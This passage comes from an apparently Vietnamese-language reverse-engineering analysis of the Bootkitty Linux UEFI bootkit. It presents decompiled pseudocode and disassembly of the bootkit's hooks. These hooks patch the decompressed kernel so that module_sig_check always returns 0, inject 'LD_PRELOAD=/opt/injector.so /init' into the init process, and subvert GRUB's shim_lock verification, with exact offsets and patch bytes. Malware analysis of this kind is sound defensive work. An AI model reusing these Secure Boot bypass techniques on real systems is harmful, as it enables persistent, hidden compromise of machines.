        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_6->OutputString)(console_output_6, buffer_2);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( next_instr_ptr != target_address )
    memmove_1800064F0(next_instr_ptr, target_address, 8ui64);
  if ( !wp_enabled )
    return 0i64;
  cr0_value_4 = _readcr0_();
  writecr0_180001010(cr0_value_4 | 0x10000);
  return 0i64;
}

hook_vmlinuz_decompress_18000DC80 (hàm hook cho vmlinuz)

Thực hiện các thao tác sau:

  1. Gọi hàm gốc, tức là giải nén kernel hoàn tất; kernel được giải nén và nằm trong bộ nhớ (chưa thực thi)
  2. Ghi đè phiên bản kernel và linux_banner (xác định vị trí bằng hằng số cố định, không có khả năng tương thích)

Sử dụng văn bản BoB13 để ghi đè phiên bản kernel và linux_banner[]

  1. Sửa đổi module_sig_check (xác định vị trí bằng hằng số cố định, không có khả năng tương thích)

Hàm module_sig_check được sửa đổi để luôn trả về 0. Hàm này chịu trách nhiệm kiểm tra xem module có chữ ký hợp lệ hay không. Bằng cách sửa đổi hàm để trả về 0, kernel sẽ tải bất kỳ module nào mà không xác minh chữ ký. Trên các hệ thống Linux có bật UEFI Secure Boot, nếu muốn tải module kernel, chúng phải được ký. Khi kernel được xây dựng với CONFIG_MODULE_SIG_FORCE hoặc khi truyền tham số module.sig_enforce=1 như là tham số dòng lệnh kernel

  1. Sửa đổi biến môi trường đầu tiên của tiến trình init (xác định vị trí bằng hằng số cố định, không có khả năng tương thích)

Tiến trình đầu tiên được thực thi bởi kernel Linux là init từ đường dẫn cố định đầu tiên (bắt đầu từ /init trong initramfs), cùng với các tham số lệnh và biến môi trường. Mã hook sẽ thay thế biến môi trường đầu tiên bằng LD_PRELOAD=/opt/injector.so /init. LD_PRELOAD là một biến môi trường dùng để tải các đối tượng chia sẻ ELF trước các đối tượng chia sẻ khác và có thể được sử dụng để ghi đè các hàm. Đây là kỹ thuật phổ biến được kẻ tấn công sử dụng để tải các tệp nhị phân độc hại. Trong trường hợp này, cả /opt/injector.so và /init ELF shared object sẽ được tải khi tiến trình init khởi động.

void *__fastcall hook_vmlinuz_decompress_18000DC80()
{
  // [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]

  original_function = original_func_180018258;
  *(_QWORD *)original_func_180018258 = *(_QWORD *)back_original_func_180018290;
  original_function[8] = back_original_func_180018290[8];
  original_function[9] = back_original_func_180018290[9];
  original_function[0xA] = back_original_func_180018290[0xA];
  original_function[0xB] = back_original_func_180018290[0xB];
  //0. giải nén kernel
  ((void (*)(void))original_function)();
  // lấy rac
  // mov     rax, rcx
  kernel_ptr = (void *)(int)retrieve_register_c_18000C88A(kernel_param);
  debug_log_18000DF00(null_param, kernel_ptr, temp_param_1, "", temp_param_2, temp_param_3);
  // lấy [rsp+38h]
  //   mov     rax, [rsp+38h]
  stack_param = (unsigned int)retrieve_stack_param_18000C88E();
  debug_log_18000DF00((void *)stack_param, kernel_ptr, temp_param_4, "", temp_param_5, temp_param_6);
  second_stack_param = (unsigned int)retrieve_stack_param_2_18000C894();
  debug_log_18000DF00((void *)stack_param, kernel_ptr, temp_param_7, "", temp_param_8, temp_param_9);
  global_kernel_base = stack_param | (second_stack_param << 0x20);
  retrieve_final_param_18000C89A();
  debug_log_18000DF00((void *)stack_param, kernel_ptr, temp_param_10, "", temp_param_11, temp_param_12);
  kernel_base = global_kernel_base;
  // 1. ghi đè phiên bản kernel và linux_banner
  *(_DWORD *)(global_kernel_base + 0x19AC5E0) = '1BoB';
  *(_BYTE *)(kernel_base + 0x19AC5E4) = '3';
  qmemcpy((void *)(kernel_base + 0x29E84A7), "BoB13", 5);
  result = kernel_ptr;
  // 2. sửa đổi module_sig_check 

  // | 55                  | push rbp                                     |
  // | 48:89E5             | mov rbp,rsp                                  |
  // | B8 00000000         | mov eax,0                                    |
  // | 5D                  | pop rbp                                      |
  // | C3                  | ret                                          |
  *(_QWORD *)(kernel_base + 0x3FA4B5) = 0xB8E5894855i64;
  *(_DWORD *)(kernel_base + 0x3FA4BD) = 0xC35D00;
  *(_QWORD *)(kernel_base + 0x260ED20) = 0xFFFFFFFF82505000ui64;
  // 3. sửa đổi biến môi trường đầu tiên của tiến trình init
  strcpy((char *)(kernel_base + 0x1705000), "LD_PRELOAD=/opt/injector.so /init");
  return result;
}

Các hàm liên quan đến vmlinuz

Trong hook_and_patch_kernel_18000F5C0, xác định hàm _decompress_E26CB0 bên trong vmlinuz,

.text:0000000000E26CB0                               ; unsigned __int64 __fastcall _decompress_E26CB0(char *, __int64, unsigned __int64)
.text:0000000000E26CB0                               __decompress_E26CB0 proc near           ; CODE XREF: xx_decompress_kernel_E28420+2B6↓p
.text:0000000000E26CB0
.text:0000000000E26CB0                               var_28          = qword ptr -28h
.text:0000000000E26CB0                               var_20          = qword ptr -20h
.text:0000000000E26CB0                               var_18          = qword ptr -18h
.text:0000000000E26CB0                               var_10          = qword ptr -10h
.text:0000000000E26CB0
.text:0000000000E26CB0 F3 0F 1E FA                                   endbr64
.text:0000000000E26CB4 53                                            push    rbx
.text:0000000000E26CB5 48 89 FB                                      mov     rbx, rdi
.text:0000000000E26CB8 48 83 EC 20                                   sub     rsp, 20h
.text:0000000000E26CBC 8B 87 F0 75 00 00                             mov     eax, [rdi+75F0h]
.text:0000000000E26CC2 83 F8 FF                                      cmp     eax, 0FFFFFFFFh
.text:0000000000E26CC5 74 6B                                         jz      short loc_E26D32
.text:0000000000E26CC7 83 F8 01                                      cmp     eax, 1
.text:0000000000E26CCA 74 5C                                         jz      short loc_E26D28
.text:0000000000E26CCC 48 8B BF D8 75 00 00                          mov     rdi, [rdi+75D8h]
.text:0000000000E26CD3 4C 89 44 24 18                                mov     [rsp+28h+var_10], r8
.text:0000000000E26CD8 48 89 4C 24 10                                mov     [rsp+28h+var_18], rcx
.text:0000000000E26CDD 48 89 54 24 08                                mov     [rsp+28h+var_20], rdx
.text:0000000000E26CE2 48 89 34 24                                   mov     [rsp+28h+var_28], rsi
.text:0000000000E26CE6 E8 95 A6 FF FF                                call    sub_E21380
.text:0000000000E26CEB 31 C0                                         xor     eax, eax
.text:0000000000E26CED 48 8B 34 24                                   mov     rsi, [rsp+28h+var_28]
.text:0000000000E26CF1 48 8B 54 24 08                                mov     rdx, [rsp+28h+var_20]
.text:0000000000E26CF6 48 C7 83 D8 75 00 00 00 00 00                 mov     qword ptr [rbx+75D8h], 0
.text:0000000000E26CF6 00
.text:0000000000E26D01 48 8B 4C 24 10                                mov     rcx, [rsp+28h+var_18]
.text:0000000000E26D06 48 C7 83 E0 75 00 00 00 00 00                 mov     qword ptr [rbx+75E0h], 0
.text:0000000000E26D06 00
.text:0000000000E26D11 4C 8B 44 24 18                                mov     r8, [rsp+28h+var_10]
.text:0000000000E26D16 C7 83 F0 75 00 00 00 00 00 00                 mov     dword ptr [rbx+75F0h], 0
.text:0000000000E26D20 EB 17                                         jmp     short loc_E26D39
.text:0000000000E26D20                               ; ---------------------------------------------------------------------------
.text:0000000000E26D22 66 0F 1F 44 00 00                             align 8
.text:0000000000E26D28
.text:0000000000E26D28                               loc_E26D28:                             ; CODE XREF: __decompress_E26CB0+1A↑j
.text:0000000000E26D28 C7 87 F0 75 00 00 00 00 00 00                 mov     dword ptr [rdi+75F0h], 0
.text:0000000000E26D32
.text:0000000000E26D32                               loc_E26D32:                             ; CODE XREF: __decompress_E26CB0+15↑j
.text:0000000000E26D32 48 8B 83 E0 75 00 00                          mov     rax, [rbx+75E0h]
.text:0000000000E26D39
.text:0000000000E26D39                               loc_E26D39:                             ; CODE XREF: __decompress_E26CB0+70↑j
.text:0000000000E26D39 50                                            push    rax
.text:0000000000E26D3A 48 89 DF                                      mov     rdi, rbx
.text:0000000000E26D3D 45 31 C9                                      xor     r9d, r9d
.text:0000000000E26D40 6A 00                                         push    0
.text:0000000000E26D42 E8 A9 F9 FF FF                                call    sub_E266F0
.text:0000000000E26D47 48 83 C4 30                                   add     rsp, 30h
.text:0000000000E26D4B 5B                                            pop     rbx
.text:0000000000E26D4C C3                                            retn
.text:0000000000E26D4C                               __decompress_E26CB0 endp

Thông qua các tham chiếu ngược để đến điểm gọi

// dự đoán decompress_kernel
__int64 __fastcall xx_decompress_kernel_E28420(
        unsigned __int64 param_1,
        void (*param_2)(void),
        void (__fastcall *param_3)(const char *))
{
  // [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]

  __endbr64();
  if ( !qword_E46010 )
  {
    qword_E46010 = (__int64)&unk_E47040;
    qword_E46008 = (__int64)&unk_E47040 + 0x30000;
  }
  alloc_result = sub_E1E270((int)qword_176C8);
  if ( !alloc_result )
  {
    param_3("Out of memory while allocating zstd_dctx");
    return 0xFFFFFFFFFFFFFFFFLL;
  }
  temp_ptr = (char *)sub_E217C0(alloc_result, qword_176C8);
  if ( !temp_ptr )
  {
    param_3("Out of memory while allocating zstd_dctx");
    if ( !--dword_E77050 )
      qword_E77058 = qword_E46010;
    return 0xFFFFFFFFFFFFFFFFLL;
  }
  temp_value = sub_E21EE0();
  decompress_result = sub_E0D340();
  // dự đoán __decompress
  if ( decompress_result || (_decompress_E26CB0(temp_ptr, param_1, 0x3D9781CuLL, (char *)&dword_52CC, temp_value), (decompress_result = sub_E0D340()) != 0) )
  {
    if ( !--dword_E77050 )
      qword_E77058 = qword_E46010;
    if ( decompress_result >= 0 )
      goto LABEL_9;
    return 0xFFFFFFFFFFFFFFFFLL;
  }
  if ( !--dword_E77050 )
    qword_E77058 = qword_E46010;
LABEL_9:
  elf_header_1 = *(_QWORD *)(param_1 + 0x18);
  elf_header_2 = *(_QWORD *)(param_1 + 0x20);
  elf_header_3 = *(_QWORD *)(param_1 + 0x38);
  // parse_elf

  // ELF magic
  if ( (unsigned int)*(_QWORD *)param_1 != 0x464C457F )
    sub_E29310("Kernel is not a valid ELF file");
  elf_alloc = sub_E1E270(0x38 * (unsigned int)(unsigned __int16)elf_header_3);
  if ( !elf_alloc )
    sub_E29310("Failed to allocate space for phdrs");
  sub_E28FF0((char *)elf_alloc, (char *)(param_1 + elf_header_2), 0x38LL * (unsigned __int16)elf_header_3);
  if ( (_WORD)elf_header_3 )
  {
    elf_boundary = elf_alloc + 0x38LL * (unsigned __int16)elf_header_3;
    do
    {
      while ( *(_DWORD *)elf_alloc != 1 )
      {
        elf_alloc += 0x38LL;
        if ( elf_boundary == elf_alloc )
          goto LABEL_17;
      }
      if ( ((unsigned int)&byte_1FFFFF & *(_DWORD *)(elf_alloc + 0x30)) != 0 )
        sub_E29310("Alignment of LOAD segment isn't multiple of 2MB");
      load_segment_1 = *(_QWORD *)(elf_alloc + 8);
      load_segment_2 = *(_QWORD *)(elf_alloc + 0x18);
      elf_alloc += 0x38LL;
      sub_E28FA0(param_1 + load_segment_2 - 0x1000000, param_1 + load_segment_1, *(_QWORD *)(elf_alloc - 0x18), reloc_param);
    }
    while ( elf_boundary != elf_alloc );
  }
LABEL_17:
  // handle_relocations
  if ( !--dword_E77050 )
    qword_E77058 = qword_E46010;
  reloc_base = elf_header_1 - 0x1000000;
  reloc_offset = (char *)param_2 + 0xFF000000;
  if ( param_2 == (void (*)(void))0x1000000 )
    return reloc_base;
  reloc_table = (int *)(param_1 + 0x3D97818);
  reloc_start = param_1 + 0x2D60000;
  reloc_entry = *(int *)(param_1 + 0x3D97818);
  for ( reloc_ptr = param_1 + 0x7F000000; (_DWORD)reloc_entry; reloc_entry = *reloc_table )
  {
    reloc_target = (_DWORD *)(reloc_ptr + reloc_entry);
    if ( param_1 > (unsigned __int64)reloc_target || reloc_start < (unsigned __int64)reloc_target )
      sub_E29310("32-bit relocation outside of kernel!\n");
    reloc_table += 0xFFFFFFFF;
    *reloc_target += (_DWORD)reloc_offset;
  }
  reloc_value = reloc_table[0xFFFFFFFF];
  reloc_table_ptr = reloc_table + 0xFFFFFFFF;
  if ( (_DWORD)reloc_value )
  {
    while ( 1 )
    {
      reloc_target_2 = (_DWORD *)(reloc_ptr + reloc_value);
      if ( param_1 > (unsigned __int64)reloc_target_2 || reloc_start < (unsigned __int64)reloc_target_2 )
        sub_E29310(&qword_E3E258);
      *reloc_target_2 -= (_DWORD)reloc_offset;
      reloc_value = reloc_table_ptr[0xFFFFFFFF];
      if ( !(_DWORD)reloc_value )
        break;
      reloc_table_ptr += 0xFFFFFFFF;
    }
  }
  else
  {
    reloc_table_ptr = reloc_table;
  }
  reloc_value_2 = reloc_table_ptr[0xFFFFFFFE];
  for ( reloc_loop_ptr = reloc_table_ptr + 0xFFFFFFFE; (_DWORD)reloc_value_2; reloc_value_2 = *reloc_loop_ptr )
  {
    reloc_target_3 = (_QWORD *)(reloc_ptr + reloc_value_2);
    if ( param_1 > (unsigned __int64)reloc_target_3 || reloc_start < (unsigned __int64)reloc_target_3 )
      sub_E29310("64-bit relocation outside of kernel!\n");
    reloc_loop_ptr += 0xFFFFFFFF;
    *reloc_target_3 += reloc_offset;
  }
  return reloc_base;
}

  1. Gắn hàm shim_lock_verifier_init =================================
__int64 __fastcall hook_grub_2_shim_lock_verifier_init_18000E990(void *ImageBase, unsigned int ImageSize)
{
  // [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]

  current_ptr = (char *)ImageBase;
  if ( !ImageBase )
    return 0x8000000000000002ui64;
  boundary_ptr = (char *)ImageBase + ImageSize - 0xE;
  if ( ImageBase >= boundary_ptr )
    return 0x800000000000000Eui64;
  while ( 1 )
  {
    match_count = 0;
    temp_ptr = current_ptr;
    // F3 0F 1E FA 31 D2 48 89 C8 89 11 0F B7 CE

    // .text:0000000000007089                               shim_lock_verifier_init_7089 proc near  ; DATA XREF: .data:0000000000010978↓o
    // .text:0000000000007089 F3 0F 1E FA                                   endbr64
    // .text:000000000000708D 31 D2                                         xor     edx, edx
    // .text:000000000000708F 48 89 C8                                      mov     rax, rcx
    // .text:0000000000007092 89 11                                         mov     [rcx], edx
    // .text:0000000000007094 0F B7 CE                                      movzx   ecx, si
    // .text:0000000000007097 66 83 FE 3E                                   cmp     si, 3Eh ; '>'
    // .text:000000000000709B 77 2F                                         ja      short loc_70CC
    // .text:000000000000709D BA 01 00 00 00                                mov     edx, 1
    // .text:00000000000070A2 48 D3 E2                                      shl     rdx, cl
    // .text:00000000000070A5 48 B9 15 40 08 C0 2F E0 FF 71                 mov     rcx, 71FFE02FC0084015h
    // .text:00000000000070AF 48 85 CA                                      test    rdx, rcx
    // .text:00000000000070B2 75 10                                         jnz     short loc_70C4
    // .text:00000000000070B4 F7 C2 28 02 44 20                             test    edx, 20440228h
    // .text:00000000000070BA 74 10                                         jz      short loc_70CC
    // .text:00000000000070BC C7 00 02 00 00 00                             mov     dword ptr [rax], 2
    // .text:00000000000070C2 EB 25                                         jmp     short loc_70E9
    // .text:00000000000070C4                               ; ---------------------------------------------------------------------------
    // .text:00000000000070C4
    // .text:00000000000070C4                               loc_70C4:                               ; CODE XREF: shim_lock_verifier_init_7089+29↑j
    // .text:00000000000070C4 C7 00 01 00 00 00                             mov     dword ptr [rax], 1
    // .text:00000000000070CA EB 1D                                         jmp     short loc_70E9
    // .text:00000000000070CC                               ; ---------------------------------------------------------------------------
    // .text:00000000000070CC
    // .text:00000000000070CC                               loc_70CC:                               ; CODE XREF: shim_lock_verifier_init_7089+12↑j
    // .text:00000000000070CC                                                                       ; shim_lock_verifier_init_7089+31↑j
    // .text:00000000000070CC 48 BE 0E F2 00 00 00 00 00 00                 mov     rsi, offset aProhibitedBySe ; "prohibited by secure boot policy"
    // .text:00000000000070D6 BF 1E 00 00 00                                mov     edi, 1Eh
    // .text:00000000000070DB 31 C0                                         xor     eax, eax
    // .text:00000000000070DD 48 BA F4 77 00 00 00 00 00 00                 mov     rdx, offset sub_77F4
    // .text:00000000000070E7 FF E2                                         jmp     rdx
    // .text:00000000000070E9                               ; ---------------------------------------------------------------------------
    // .text:00000000000070E9
    // .text:00000000000070E9                               loc_70E9:                               ; CODE XREF: shim_lock_verifier_init_7089+39↑j
    // .text:00000000000070E9                                                                       ; shim_lock_verifier_init_7089+41↑j
    // .text:00000000000070E9 31 C0                                         xor     eax, eax
    // .text:00000000000070EB C3                                            retn
    pattern_byte = byte_180012530;
    while ( *pattern_byte == (char)0xCC || *temp_ptr == *pattern_byte )
    {
      next_pattern_byte = pattern_byte[1];
      if ( next_pattern_byte != (char)0xCC && temp_ptr[1] != next_pattern_byte )
      {
        ++match_count;
        break;
      }
      pattern_byte += 2;
      temp_ptr += 2;
      match_count += 2;
      if ( match_count >= 0xE )
        break;
    }
    if ( match_count == 0xE )
      break;
    if ( ++current_ptr >= boundary_ptr )
      return 0x800000000000000Eui64;
  }
  *(_QWORD *)target_address = hook_grub_f2__shim_lock_verifier_init_18000C8A0;
  original_grub_f2_180018250 = current_ptr;
  tpl_value = gBS->RaiseTPL(0x1Fui64);                // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   Mức độ ưu tiên tác vụ mới.
  local_flags = flags_180018176;
  original_func_ptr = original_grub_f2_180018250;
  saved_tpl = tpl_value;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f2_180018240 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output = gST->ConOut;
      if ( console_output )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output->OutputString)(console_output, buffer);
    }
    local_flags = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (local_flags & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)original_func_ptr < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_2 = gST->ConOut;
      if ( console_output_2 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_2->OutputString)(console_output_2, buffer_2);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( backup_original_grub_f2_180018240 != original_func_ptr )
    memmove_1800064F0(backup_original_grub_f2_180018240, original_func_ptr, 0xCui64);
  func_ptr = original_grub_f2_180018250;
  cr0_value = _readcr0_();
  wp_bit_enabled = BYTE2(cr0_value) & 1;
  if ( (cr0_value & 0x10000) != 0 )
    writecr0_180001010(cr0_value & 0xFFFFFFFFFFFEFFFFui64);
  check_flags = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)func_ptr < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_3,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output_3 = gST->ConOut;
      if ( console_output_3 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_3->OutputString)(console_output_3, buffer_3);
    }
    check_flags = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (check_flags & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_4,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_4 = gST->ConOut;
      if ( console_output_4 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_4->OutputString)(console_output_4, buffer_4);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( func_ptr != jmp_rax_trampoline_180012520 )
    memmove_1800064F0(func_ptr, (char *)jmp_rax_trampoline_180012520, 0xCui64);
  if ( wp_bit_enabled )
  {
    cr0_value_2 = _readcr0_();
    writecr0_180001010(cr0_value_2 | 0x10000);
  }
  next_instr_ptr = original_grub_f2_180018250 + 2;
  cr0_value_3 = _readcr0_();
  wp_enabled = BYTE2(cr0_value_3) & 1;
  if ( (cr0_value_3 & 0x10000) != 0 )
    writecr0_180001010(cr0_value_3 & 0xFFFFFFFFFFFEFFFFui64);
  check_flags_2 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)next_instr_ptr < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output_5 = gST->ConOut;
      if ( console_output_5 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_5->OutputString)(console_output_5, buffer_2);
    }
    check_flags_2 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (check_flags_2 & 1) != 0 && ~(unsigned __int64)target_address < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_6 = gST->ConOut;
      if ( console_output_6 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_6->OutputString)(console_output_6, buffer);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( next_instr_ptr != target_address )
    memmove_1800064F0(next_instr_ptr, target_address, 8ui64);
  if ( !wp_enabled )
    return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(saved_tpl);
  cr0_value_4 = _readcr0_();                            // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   Mức độ ưu tiên tác vụ mới.
  writecr0_180001010(cr0_value_4 | 0x10000);
  return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(saved_tpl);
}

hook_grub_f2__shim_lock_verifier_init_18000C8A0

shim_lock_verifier_init có chức năng là một phần của cơ chế xác minh shim_lock nội bộ của GRUB – nếu UEFI Secure Boot được bật, nó nên tự động kích hoạt. Nó chịu trách nhiệm quyết định liệu các tệp được cung cấp (ví dụ: mô-đun GRUB, kernel Linux, cấu hình, v.v.) có nên được xác minh trong quá trình khởi động hay không.

Hàm hook đã sửa đổi giá trị trả về của shim_lock_verifier_init, thiết lập cờ đầu ra cho bất kỳ loại tệp nào được cung cấp thành GRUB_VERIFY_FLAGS_SINGLE_CHUNK (giá trị 2), theo tài liệu của GRUB, điều này sẽ làm tăng cường bảo mật hơn nữa.

Điều thú vị là do sau đó hook grub_verifiers_open, nên hàm shim_lock_verifier_init thậm chí không được gọi trong quá trình khởi động,

// static grub_err_t
// shim_lock_verifier_init (grub_file_t io __attribute__ ((unused)),
//              enum grub_file_type type,
//              void **context __attribute__ ((unused)),
//              enum grub_verify_flags *flags)
__int64 __usercall hook_grub_f2__shim_lock_verifier_init_18000C8A0@<rax>(
        _DWORD *io@<rdi>,
        int type@<esi>,
        void *context@<rdx>,
        int *flags@<rcx>)
{
  // enum grub_verify_flags
  //   {
  //     GRUB_VERIFY_FLAGS_NONE      = 0,
  //     GRUB_VERIFY_FLAGS_SKIP_VERIFICATION = 1,
  //     GRUB_VERIFY_FLAGS_SINGLE_CHUNK  = 2,
  //     /* Defer verification to another authority. */
  //     GRUB_VERIFY_FLAGS_DEFER_AUTH    = 4
  //   };
  *flags = 0;
  // GRUB_VERIFY_FLAGS_SINGLE_CHUNK
  *flags = 2;
  return 0i64;
}

  1. Gắn hàm grub_verifiers_open ============================
__int64 __fastcall hook_grub_3__grub_verifiers_open_18000E380(void *ImageBase, unsigned int ImageSize)
{
  // [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]

  ptr = (char *)ImageBase;
  if ( !ImageBase )
    return 0x8000000000000002ui64;
  boundary_ptr = (char *)ImageBase + ImageSize - 0x3B;
  if ( ImageBase >= boundary_ptr )
    return 0x800000000000000Eui64;
  // F3 0F 1E FA CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 48 89 E5 41 57 41 56 41 55 41 54 49 89 FC 53 48 83 EC 28

  // .text:000000000000C5E5                               grub_verifiers_open_C5E5 proc near      ; DATA XREF: sub_C982+4↓o
  // .text:000000000000C5E5
  // .text:000000000000C5E5                               var_44          = dword ptr -44h
  // .text:000000000000C5E5                               var_3C          = dword ptr -3Ch
  // .text:000000000000C5E5                               var_38          = qword ptr -38h
  // .text:000000000000C5E5
  // .text:000000000000C5E5 F3 0F 1E FA                                   endbr64
  // .text:000000000000C5E9 48 B9 6A F9 00 00 00 00 00 00                 mov     rcx, offset aFileSTypeD ; "file: %s type: %d\n"
  // .text:000000000000C5F3 55                                            push    rbp
  // .text:000000000000C5F4 41 89 F1                                      mov     r9d, esi
  // .text:000000000000C5F7 31 C0                                         xor     eax, eax
  // .text:000000000000C5F9 48 BA 7D F9 00 00 00 00 00 00                 mov     rdx, offset aVerify ; "verify"
  // .text:000000000000C603 49 BA 7C A4 00 00 00 00 00 00                 mov     r10, offset sub_A47C
  // .text:000000000000C60D 48 89 E5                                      mov     rbp, rsp
  // .text:000000000000C610 41 57                                         push    r15
  // .text:000000000000C612 41 56                                         push    r14
  // .text:000000000000C614 41 55                                         push    r13
  // .text:000000000000C616 41 54                                         push    r12
  // .text:000000000000C618 49 89 FC                                      mov     r12, rdi
  // .text:000000000000C61B 53                                            push    rbx
  // .text:000000000000C61C 48 83 EC 28                                   sub     rsp, 28h
  for ( pattern_offset = pattern3__1800124E0 - (_BYTE *)ImageBase; ; --pattern_offset )
  {
    match_count = 0;
    temp_ptr = ptr;
    do
    {
      current_byte = temp_ptr[pattern_offset];
      if ( current_byte != (char)0xCC && *temp_ptr != current_byte )
        break;
      ++match_count;
      ++temp_ptr;
    }
    while ( match_count < 0x3B );
    if ( match_count == 0x3B )
      break;
    if ( ++ptr >= boundary_ptr )
      return 0x800000000000000Eui64;
  }
  *(_QWORD *)target_address = hook_grub_f3__grub_verifiers_open_18000C8B0;
  original_grub_f3_180018260 = ptr;
  tpl_value = gBS->RaiseTPL(0x1Fui64);                // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   Mức độ ưu tiên tác vụ mới.
  local_flags = flags_180018176;
  original_func_ptr = original_grub_f3_180018260;
  saved_tpl = tpl_value;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f3_180018230 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
